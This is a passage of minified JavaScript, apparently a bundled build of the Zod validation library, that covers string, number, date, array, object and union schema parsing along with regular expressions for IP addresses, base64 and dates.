}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,W3=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,H3=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,G3=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,QW="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",J3=new RegExp(`^${QW}$`);function YW($){let W="[0-5]\\d";if($.precision)W=`${W}\\.\\d{${$.precision}}`;else if($.precision==null)W=`${W}(\\.\\d+)?`;let H=$.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${W})${H}`}function X3($){return new RegExp(`^${YW($)}$`)}function qW($){let W=`${QW}T${YW($)}`,H=[];if(H.push($.local?"Z?":"Z"),$.offset)H.push("([+-]\\d{2}:?\\d{2})");return W=`${W}(${H.join("|")})`,new RegExp(`^${W}$`)}function Q3($,W){if((W==="v4"||!W)&&tW.test($))return!0;if((W==="v6"||!W)&&$3.test($))return!0;return!1}function Y3($,W){if(!sW.test($))return!1;try{let[H]=$.split(".");if(!H)return!1;let J=H.replace(/-/g,"+").replace(/_/g,"/").padEnd(H.length+(4-H.length%4)%4,"="),G=JSON.parse(atob(J));if(typeof G!=="object"||G===null)return!1;if("typ"in G&&G?.typ!=="JWT")return!1;if(!G.alg)return!1;if(W&&G.alg!==W)return!1;return!0}catch{return!1}}function q3($,W){if((W==="v4"||!W)&&eW.test($))return!0;if((W==="v6"||!W)&&W3.test($))return!0;return!1}class T extends V{_parse($){if(this._def.coerce)$.data=String($.data);if(this._getType($)!==j.string){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_type,expected:j.string,received:G.parsedType}),S}let H=new C,J=void 0;for(let G of this._def.checks)if(G.kind==="min"){if($.data.length<G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_small,minimum:G.value,type:"string",inclusive:!0,exact:!1,message:G.message}),H.dirty()}else if(G.kind==="max"){if($.data.length>G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_big,maximum:G.value,type:"string",inclusive:!0,exact:!1,message:G.message}),H.dirty()}else if(G.kind==="length"){let X=$.data.length>G.value,Q=$.data.length<G.value;if(X||Q){if(J=this._getOrReturnCtx($,J),X)M(J,{code:B.too_big,maximum:G.value,type:"string",inclusive:!0,exact:!0,message:G.message});else if(Q)M(J,{code:B.too_small,minimum:G.value,type:"string",inclusive:!0,exact:!0,message:G.message});H.dirty()}}else if(G.kind==="email"){if(!oW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"email",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="emoji"){if(!p$)p$=new RegExp(aW,"u");if(!p$.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"emoji",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="uuid"){if(!pW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"uuid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="nanoid"){if(!iW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"nanoid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="cuid"){if(!uW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"cuid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="cuid2"){if(!nW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"cuid2",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="ulid"){if(!dW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"ulid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="url")try{new URL($.data)}catch{J=this._getOrReturnCtx($,J),M(J,{validation:"url",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="regex"){if(G.regex.lastIndex=0,!G.regex.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"regex",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="trim")$.data=$.data.trim();else if(G.kind==="includes"){if(!$.data.includes(G.value,G.position))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:{includes:G.value,position:G.position},message:G.message}),H.dirty()}else if(G.kind==="toLowerCase")$.data=$.data.toLowerCase();else if(G.kind==="toUpperCase")$.data=$.data.toUpperCase();else if(G.kind==="startsWith"){if(!$.data.startsWith(G.value))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:{startsWith:G.value},message:G.message}),H.dirty()}else if(G.kind==="endsWith"){if(!$.data.endsWith(G.value))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:{endsWith:G.value},message:G.message}),H.dirty()}else if(G.kind==="datetime"){if(!qW(G).test($.data))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:"datetime",message:G.message}),H.dirty()}else if(G.kind==="date"){if(!J3.test($.data))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:"date",message:G.message}),H.dirty()}else if(G.kind==="time"){if(!X3(G).test($.data))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:"time",message:G.message}),H.dirty()}else if(G.kind==="duration"){if(!rW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"duration",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="ip"){if(!Q3($.data,G.version))J=this._getOrReturnCtx($,J),M(J,{validation:"ip",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="jwt"){if(!Y3($.data,G.alg))J=this._getOrReturnCtx($,J),M(J,{validation:"jwt",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="cidr"){if(!q3($.data,G.version))J=this._getOrReturnCtx($,J),M(J,{validation:"cidr",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="base64"){if(!H3.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"base64",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="base64url"){if(!G3.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"base64url",code:B.invalid_string,message:G.message}),H.dirty()}else z.assertNever(G);return{status:H.value,value:$.data}}_regex($,W,H){return this.refinement((J)=>$.test(J),{validation:W,code:B.invalid_string,...U.errToObj(H)})}_addCheck($){return new T({...this._def,checks:[...this._def.checks,$]})}email($){return this._addCheck({kind:"email",...U.errToObj($)})}url($){return this._addCheck({kind:"url",...U.errToObj($)})}emoji($){return this._addCheck({kind:"emoji",...U.errToObj($)})}uuid($){return this._addCheck({kind:"uuid",...U.errToObj($)})}nanoid($){return this._addCheck({kind:"nanoid",...U.errToObj($)})}cuid($){return this._addCheck({kind:"cuid",...U.errToObj($)})}cuid2($){return this._addCheck({kind:"cuid2",...U.errToObj($)})}ulid($){return this._addCheck({kind:"ulid",...U.errToObj($)})}base64($){return this._addCheck({kind:"base64",...U.errToObj($)})}base64url($){return this._addCheck({kind:"base64url",...U.errToObj($)})}jwt($){return this._addCheck({kind:"jwt",...U.errToObj($)})}ip($){return this._addCheck({kind:"ip",...U.errToObj($)})}cidr($){return this._addCheck({kind:"cidr",...U.errToObj($)})}datetime($){if(typeof $==="string")return this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:$});return this._addCheck({kind:"datetime",precision:typeof $?.precision>"u"?null:$?.precision,offset:$?.offset??!1,local:$?.local??!1,...U.errToObj($?.message)})}date($){return this._addCheck({kind:"date",message:$})}time($){if(typeof $==="string")return this._addCheck({kind:"time",precision:null,message:$});return this._addCheck({kind:"time",precision:typeof $?.precision>"u"?null:$?.precision,...U.errToObj($?.message)})}duration($){return this._addCheck({kind:"duration",...U.errToObj($)})}regex($,W){return this._addCheck({kind:"regex",regex:$,...U.errToObj(W)})}includes($,W){return this._addCheck({kind:"includes",value:$,position:W?.position,...U.errToObj(W?.message)})}startsWith($,W){return this._addCheck({kind:"startsWith",value:$,...U.errToObj(W)})}endsWith($,W){return this._addCheck({kind:"endsWith",value:$,...U.errToObj(W)})}min($,W){return this._addCheck({kind:"min",value:$,...U.errToObj(W)})}max($,W){return this._addCheck({kind:"max",value:$,...U.errToObj(W)})}length($,W){return this._addCheck({kind:"length",value:$,...U.errToObj(W)})}nonempty($){return this.min(1,U.errToObj($))}trim(){return new T({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(($)=>$.kind==="datetime")}get isDate(){return!!this._def.checks.find(($)=>$.kind==="date")}get isTime(){return!!this._def.checks.find(($)=>$.kind==="time")}get isDuration(){return!!this._def.checks.find(($)=>$.kind==="duration")}get isEmail(){return!!this._def.checks.find(($)=>$.kind==="email")}get isURL(){return!!this._def.checks.find(($)=>$.kind==="url")}get isEmoji(){return!!this._def.checks.find(($)=>$.kind==="emoji")}get isUUID(){return!!this._def.checks.find(($)=>$.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(($)=>$.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(($)=>$.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(($)=>$.kind==="cuid2")}get isULID(){return!!this._def.checks.find(($)=>$.kind==="ulid")}get isIP(){return!!this._def.checks.find(($)=>$.kind==="ip")}get isCIDR(){return!!this._def.checks.find(($)=>$.kind==="cidr")}get isBase64(){return!!this._def.checks.find(($)=>$.kind==="base64")}get isBase64url(){return!!this._def.checks.find(($)=>$.kind==="base64url")}get minLength(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxLength(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}T.create=($)=>{return new T({checks:[],typeName:L.ZodString,coerce:$?.coerce??!1,...R($)})};function _3($,W){let H=($.toString().split(".")[1]||"").length,J=(W.toString().split(".")[1]||"").length,G=H>J?H:J,X=Number.parseInt($.toFixed(G).replace(".","")),Q=Number.parseInt(W.toFixed(G).replace(".",""));return X%Q/10**G}class a extends V{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse($){if(this._def.coerce)$.data=Number($.data);if(this._getType($)!==j.number){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_type,expected:j.number,received:G.parsedType}),S}let H=void 0,J=new C;for(let G of this._def.checks)if(G.kind==="int"){if(!z.isInteger($.data))H=this._getOrReturnCtx($,H),M(H,{code:B.invalid_type,expected:"integer",received:"float",message:G.message}),J.dirty()}else if(G.kind==="min"){if(G.inclusive?$.data<G.value:$.data<=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_small,minimum:G.value,type:"number",inclusive:G.inclusive,exact:!1,message:G.message}),J.dirty()}else if(G.kind==="max"){if(G.inclusive?$.data>G.value:$.data>=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_big,maximum:G.value,type:"number",inclusive:G.inclusive,exact:!1,message:G.message}),J.dirty()}else if(G.kind==="multipleOf"){if(_3($.data,G.value)!==0)H=this._getOrReturnCtx($,H),M(H,{code:B.not_multiple_of,multipleOf:G.value,message:G.message}),J.dirty()}else if(G.kind==="finite"){if(!Number.isFinite($.data))H=this._getOrReturnCtx($,H),M(H,{code:B.not_finite,message:G.message}),J.dirty()}else z.assertNever(G);return{status:J.value,value:$.data}}gte($,W){return this.setLimit("min",$,!0,U.toString(W))}gt($,W){return this.setLimit("min",$,!1,U.toString(W))}lte($,W){return this.setLimit("max",$,!0,U.toString(W))}lt($,W){return this.setLimit("max",$,!1,U.toString(W))}setLimit($,W,H,J){return new a({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:U.toString(J)}]})}_addCheck($){return new a({...this._def,checks:[...this._def.checks,$]})}int($){return this._addCheck({kind:"int",message:U.toString($)})}positive($){return this._addCheck({kind:"min",value:0,inclusive:!1,message:U.toString($)})}negative($){return this._addCheck({kind:"max",value:0,inclusive:!1,message:U.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:0,inclusive:!0,message:U.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:0,inclusive:!0,message:U.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:U.toString(W)})}finite($){return this._addCheck({kind:"finite",message:U.toString($)})}safe($){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:U.toString($)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:U.toString($)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}get isInt(){return!!this._def.checks.find(($)=>$.kind==="int"||$.kind==="multipleOf"&&z.isInteger($.value))}get isFinite(){let $=null,W=null;for(let H of this._def.checks)if(H.kind==="finite"||H.kind==="int"||H.kind==="multipleOf")return!0;else if(H.kind==="min"){if(W===null||H.value>W)W=H.value}else if(H.kind==="max"){if($===null||H.value<$)$=H.value}return Number.isFinite(W)&&Number.isFinite($)}}a.create=($)=>{return new a({checks:[],typeName:L.ZodNumber,coerce:$?.coerce||!1,...R($)})};class t extends V{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte}_parse($){if(this._def.coerce)try{$.data=BigInt($.data)}catch{return this._getInvalidInput($)}if(this._getType($)!==j.bigint)return this._getInvalidInput($);let H=void 0,J=new C;for(let G of this._def.checks)if(G.kind==="min"){if(G.inclusive?$.data<G.value:$.data<=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_small,type:"bigint",minimum:G.value,inclusive:G.inclusive,message:G.message}),J.dirty()}else if(G.kind==="max"){if(G.inclusive?$.data>G.value:$.data>=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_big,type:"bigint",maximum:G.value,inclusive:G.inclusive,message:G.message}),J.dirty()}else if(G.kind==="multipleOf"){if($.data%G.value!==BigInt(0))H=this._getOrReturnCtx($,H),M(H,{code:B.not_multiple_of,multipleOf:G.value,message:G.message}),J.dirty()}else z.assertNever(G);return{status:J.value,value:$.data}}_getInvalidInput($){let W=this._getOrReturnCtx($);return M(W,{code:B.invalid_type,expected:j.bigint,received:W.parsedType}),S}gte($,W){return this.setLimit("min",$,!0,U.toString(W))}gt($,W){return this.setLimit("min",$,!1,U.toString(W))}lte($,W){return this.setLimit("max",$,!0,U.toString(W))}lt($,W){return this.setLimit("max",$,!1,U.toString(W))}setLimit($,W,H,J){return new t({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:U.toString(J)}]})}_addCheck($){return new t({...this._def,checks:[...this._def.checks,$]})}positive($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:U.toString($)})}negative($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:U.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:U.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:U.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:U.toString(W)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}t.create=($)=>{return new t({checks:[],typeName:L.ZodBigInt,coerce:$?.coerce??!1,...R($)})};class U$ extends V{_parse($){if(this._def.coerce)$.data=Boolean($.data);if(this._getType($)!==j.boolean){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.boolean,received:H.parsedType}),S}return v($.data)}}U$.create=($)=>{return new U$({typeName:L.ZodBoolean,coerce:$?.coerce||!1,...R($)})};class J$ extends V{_parse($){if(this._def.coerce)$.data=new Date($.data);if(this._getType($)!==j.date){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_type,expected:j.date,received:G.parsedType}),S}if(Number.isNaN($.data.getTime())){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_date}),S}let H=new C,J=void 0;for(let G of this._def.checks)if(G.kind==="min"){if($.data.getTime()<G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_small,message:G.message,inclusive:!0,exact:!1,minimum:G.value,type:"date"}),H.dirty()}else if(G.kind==="max"){if($.data.getTime()>G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_big,message:G.message,inclusive:!0,exact:!1,maximum:G.value,type:"date"}),H.dirty()}else z.assertNever(G);return{status:H.value,value:new Date($.data.getTime())}}_addCheck($){return new J$({...this._def,checks:[...this._def.checks,$]})}min($,W){return this._addCheck({kind:"min",value:$.getTime(),message:U.toString(W)})}max($,W){return this._addCheck({kind:"max",value:$.getTime(),message:U.toString(W)})}get minDate(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $!=null?new Date($):null}get maxDate(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $!=null?new Date($):null}}J$.create=($)=>{return new J$({checks:[],coerce:$?.coerce||!1,typeName:L.ZodDate,...R($)})};class f$ extends V{_parse($){if(this._getType($)!==j.symbol){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.symbol,received:H.parsedType}),S}return v($.data)}}f$.create=($)=>{return new f$({typeName:L.ZodSymbol,...R($)})};class S$ extends V{_parse($){if(this._getType($)!==j.undefined){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.undefined,received:H.parsedType}),S}return v($.data)}}S$.create=($)=>{return new S$({typeName:L.ZodUndefined,...R($)})};class N$ extends V{_parse($){if(this._getType($)!==j.null){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.null,received:H.parsedType}),S}return v($.data)}}N$.create=($)=>{return new N$({typeName:L.ZodNull,...R($)})};class X$ extends V{constructor(){super(...arguments);this._any=!0}_parse($){return v($.data)}}X$.create=($)=>{return new X$({typeName:L.ZodAny,...R($)})};class o extends V{constructor(){super(...arguments);this._unknown=!0}_parse($){return v($.data)}}o.create=($)=>{return new o({typeName:L.ZodUnknown,...R($)})};class u extends V{_parse($){let W=this._getOrReturnCtx($);return M(W,{code:B.invalid_type,expected:j.never,received:W.parsedType}),S}}u.create=($)=>{return new u({typeName:L.ZodNever,...R($)})};class C$ extends V{_parse($){if(this._getType($)!==j.undefined){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.void,received:H.parsedType}),S}return v($.data)}}C$.create=($)=>{return new C$({typeName:L.ZodVoid,...R($)})};class x extends V{_parse($){let{ctx:W,status:H}=this._processInputParams($),J=this._def;if(W.parsedType!==j.array)return M(W,{code:B.invalid_type,expected:j.array,received:W.parsedType}),S;if(J.exactLength!==null){let X=W.data.length>J.exactLength.value,Q=W.data.length<J.exactLength.value;if(X||Q)M(W,{code:X?B.too_big:B.too_small,minimum:Q?J.exactLength.value:void 0,maximum:X?J.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:J.exactLength.message}),H.dirty()}if(J.minLength!==null){if(W.data.length<J.minLength.value)M(W,{code:B.too_small,minimum:J.minLength.value,type:"array",inclusive:!0,exact:!1,message:J.minLength.message}),H.dirty()}if(J.maxLength!==null){if(W.data.length>J.maxLength.value)M(W,{code:B.too_big,maximum:J.maxLength.value,type:"array",inclusive:!0,exact:!1,message:J.maxLength.message}),H.dirty()}if(W.common.async)return Promise.all([...W.data].map((X,Q)=>{return J.type._parseAsync(new y(W,X,W.path,Q))})).then((X)=>{return C.mergeArray(H,X)});let G=[...W.data].map((X,Q)=>{return J.type._parseSync(new y(W,X,W.path,Q))});return C.mergeArray(H,G)}get element(){return this._def.type}min($,W){return new x({...this._def,minLength:{value:$,message:U.toString(W)}})}max($,W){return new x({...this._def,maxLength:{value:$,message:U.toString(W)}})}length($,W){return new x({...this._def,exactLength:{value:$,message:U.toString(W)}})}nonempty($){return this.min(1,$)}}x.create=($,W)=>{return new x({type:$,minLength:null,maxLength:null,exactLength:null,typeName:L.ZodArray,...R(W)})};function M$($){if($ instanceof A){let W={};for(let H in $.shape){let J=$.shape[H];W[H]=m.create(M$(J))}return new A({...$._def,shape:()=>W})}else if($ instanceof x)return new x({...$._def,type:M$($.element)});else if($ instanceof m)return m.create(M$($.unwrap()));else if($ instanceof s)return s.create(M$($.unwrap()));else if($ instanceof n)return n.create($.items.map((W)=>M$(W)));else return $}class A extends V{constructor(){super(...arguments);this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let $=this._def.shape(),W=z.objectKeys($);return this._cached={shape:$,keys:W},this._cached}_parse($){if(this._getType($)!==j.object){let Y=this._getOrReturnCtx($);return M(Y,{code:B.invalid_type,expected:j.object,received:Y.parsedType}),S}let{status:H,ctx:J}=this._processInputParams($),{shape:G,keys:X}=this._getCached(),Q=[];if(!(this._def.catchall instanceof u&&this._def.unknownKeys==="strip")){for(let Y in J.data)if(!X.includes(Y))Q.push(Y)}let q=[];for(let Y of X){let w=G[Y],D=J.data[Y];q.push({key:{status:"valid",value:Y},value:w._parse(new y(J,D,J.path,Y)),alwaysSet:Y in J.data})}if(this._def.catchall instanceof u){let Y=this._def.unknownKeys;if(Y==="passthrough")for(let w of Q)q.push({key:{status:"valid",value:w},value:{status:"valid",value:J.data[w]}});else if(Y==="strict"){if(Q.length>0)M(J,{code:B.unrecognized_keys,keys:Q}),H.dirty()}else if(Y==="strip");else throw Error("Internal ZodObject error: invalid unknownKeys value.")}else{let Y=this._def.catchall;for(let w of Q){let D=J.data[w];q.push({key:{status:"valid",value:w},value:Y._parse(new y(J,D,J.path,w)),alwaysSet:w in J.data})}}if(J.common.async)return Promise.resolve().then(async()=>{let Y=[];for(let w of q){let D=await w.key,g=await w.value;Y.push({key:D,value:g,alwaysSet:w.alwaysSet})}return Y}).then((Y)=>{return C.mergeObjectSync(H,Y)});else return C.mergeObjectSync(H,q)}get shape(){return this._def.shape()}strict($){return U.errToObj,new A({...this._def,unknownKeys:"strict",...$!==void 0?{errorMap:(W,H)=>{let J=this._def.errorMap?.(W,H).message??H.defaultError;if(W.code==="unrecognized_keys")return{message:U.errToObj($).message??J};return{message:J}}}:{}})}strip(){return new A({...this._def,unknownKeys:"strip"})}passthrough(){return new A({...this._def,unknownKeys:"passthrough"})}extend($){return new A({...this._def,shape:()=>({...this._def.shape(),...$})})}merge($){return new A({unknownKeys:$._def.unknownKeys,catchall:$._def.catchall,shape:()=>({...this._def.shape(),...$._def.shape()}),typeName:L.ZodObject})}setKey($,W){return this.augment({[$]:W})}catchall($){return new A({...this._def,catchall:$})}pick($){let W={};for(let H of z.objectKeys($))if($[H]&&this.shape[H])W[H]=this.shape[H];return new A({...this._def,shape:()=>W})}omit($){let W={};for(let H of z.objectKeys(this.shape))if(!$[H])W[H]=this.shape[H];return new A({...this._def,shape:()=>W})}deepPartial(){return M$(this)}partial($){let W={};for(let H of z.objectKeys(this.shape)){let J=this.shape[H];if($&&!$[H])W[H]=J;else W[H]=J.optional()}return new A({...this._def,shape:()=>W})}required($){let W={};for(let H of z.objectKeys(this.shape))if($&&!$[H])W[H]=this.shape[H];else{let G=this.shape[H];while(G instanceof m)G=G._def.innerType;W[H]=G}return new A({...this._def,shape:()=>W})}keyof(){return _W(z.objectKeys(this.shape))}}A.create=($,W)=>{return new A({shape:()=>$,unknownKeys:"strip",catchall:u.create(),typeName:L.ZodObject,...R(W)})};A.strictCreate=($,W)=>{return new A({shape:()=>$,unknownKeys:"strict",catchall:u.create(),typeName:L.ZodObject,...R(W)})};A.lazycreate=($,W)=>{return new A({shape:$,unknownKeys:"strip",catchall:u.create(),typeName:L.ZodObject,...R(W)})};class L$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H=this._def.options;function J(G){for(let Q of G)if(Q.result.status==="valid")return Q.result;for(let Q of G)if(Q.result.status==="dirty")return W.common.issues.push(...Q.ctx.common.issues),Q.result;let X=G.map((Q)=>new I(Q.ctx.common.issues));return M(W,{code:B.invalid_union,unionErrors:X}),S}if(W.common.async)return Promise.all(H.map(async(G)=>{let X={...W,common:{...W.common,issues:[]},parent:null};return{result:await G._parseAsync({data:W.data,path:W.path,parent:X}),ctx:X}})).then(J);else{let G=void 0,X=[];for(let q of H){let Y={...W,common:{...W.common,issues:[]},parent:null},w=q._parseSync({data:W.data,path:W.path,parent:Y});if(w.status==="valid")return w;else if(w.status==="dirty"&&!G)G={result:w,ctx:Y};if(Y.common.issues.length)X.push(Y.common.issues)}if(G)return W.common.issues.push(...G.ctx.common.issues),G.result;let Q=X.map((q)=>new I(q));return M(W,{code:B.invalid_union,unionErrors:Q}),S}}get options(){return this._def.options}}L$.create=($,W)=>{return new L$({options:$,typeName:L.ZodUnion,...R(W)})};var i=($)=>{if($ instanceof D$)return i($.schema);else if($ instanceof Z)return i($.innerType());else if($ instanceof V$)return[$.value];else if($ instanceof e)return $.options;else if($ instanceof z$)return z.objectValues($.enum);else if($ instanceof K$)return i($._def.innerType);else if($ instanceof S$)return[void 0];else if($ instanceof N$)return[null];else if($ instanceof m)return[void 0,...i($.unwrap())];else if($ instanceof s)return[null,...i($.unwrap())];else if($ instanceof m$)return i($.unwrap());else if($ instanceof F$)return i($.unwrap());else if($ instanceof b$)return i($._def.innerType);else return[]};class x$ extends V{_parse($){let{ctx:W}=this._processInputParams($);if(W.parsedType!==j.object)return M(W,{code:B.invalid_type,expected:j.object,received:W.parsedType}),S;let H=this.discriminator,J=W.data[H],G=this.optionsMap.get(J);if(!G)return M(W,{code:B.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[H]}),S;if(W.common.async)return G._parseAsync({data:W.data,path:W.path,parent:W});else return G._parseSync({data:W.data,path:W.path,parent:W})}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create($,W,H){let J=new Map;for(let G of W){let X=i(G.shape[$]);if(!X.length)throw Error(`A discriminator value for key \`${$}\` could not be extracted from all schema options`);for(let Q of X){if(J.has(Q))throw Error(`Discriminator property ${String($)} has duplicate value ${String(Q)}`);J.set(Q,G)}}return new x$({typeName:L.ZodDiscriminatedUnion,discriminator:$,options:W,optionsMap:J,...R(H)})}}function i$($,W){let H=c($),J=c(W);if($===W)return{valid:!0,data:$};else if(H===j.object&&J===j.object){let G=z.objectKeys(W),X=z.objectKeys($).filter((q)=>G.indexOf(q)!==-1),Q={...$,...W};for(let q of X){let Y=i$($[q],W[q]);if(!Y.valid)return{valid:!1};Q[q]=Y.data}return{valid:!0,data:Q}}else if(H===j.array&&J===j.array){if($.length!==W.length)return{valid:!1};let G=[];for(let X=0;X<$.length;X++){let Q=$[X],q=W[X],Y=i$(Q,q);if(!Y.valid)return{valid:!1};G.push(Y.data)}return{valid:!0,data:G}}else if(H===j.date&&J===j.date&&+$===+W)return{valid:!0,data:$};else return{valid:!1}}class R$ extends V{_parse($){let{status:W,ctx:H}=this._processInputParams($),J=(G,X)=>{if(g$(G)||g$(X))return S;let Q=i$(G.value,X.value);if(!Q.valid)return M(H,{code:B.invalid_intersection_types}),S;if(T$(G)||T$(X))W.dirty();return{status:W.value,value:Q.data}};if(H.common.async)return 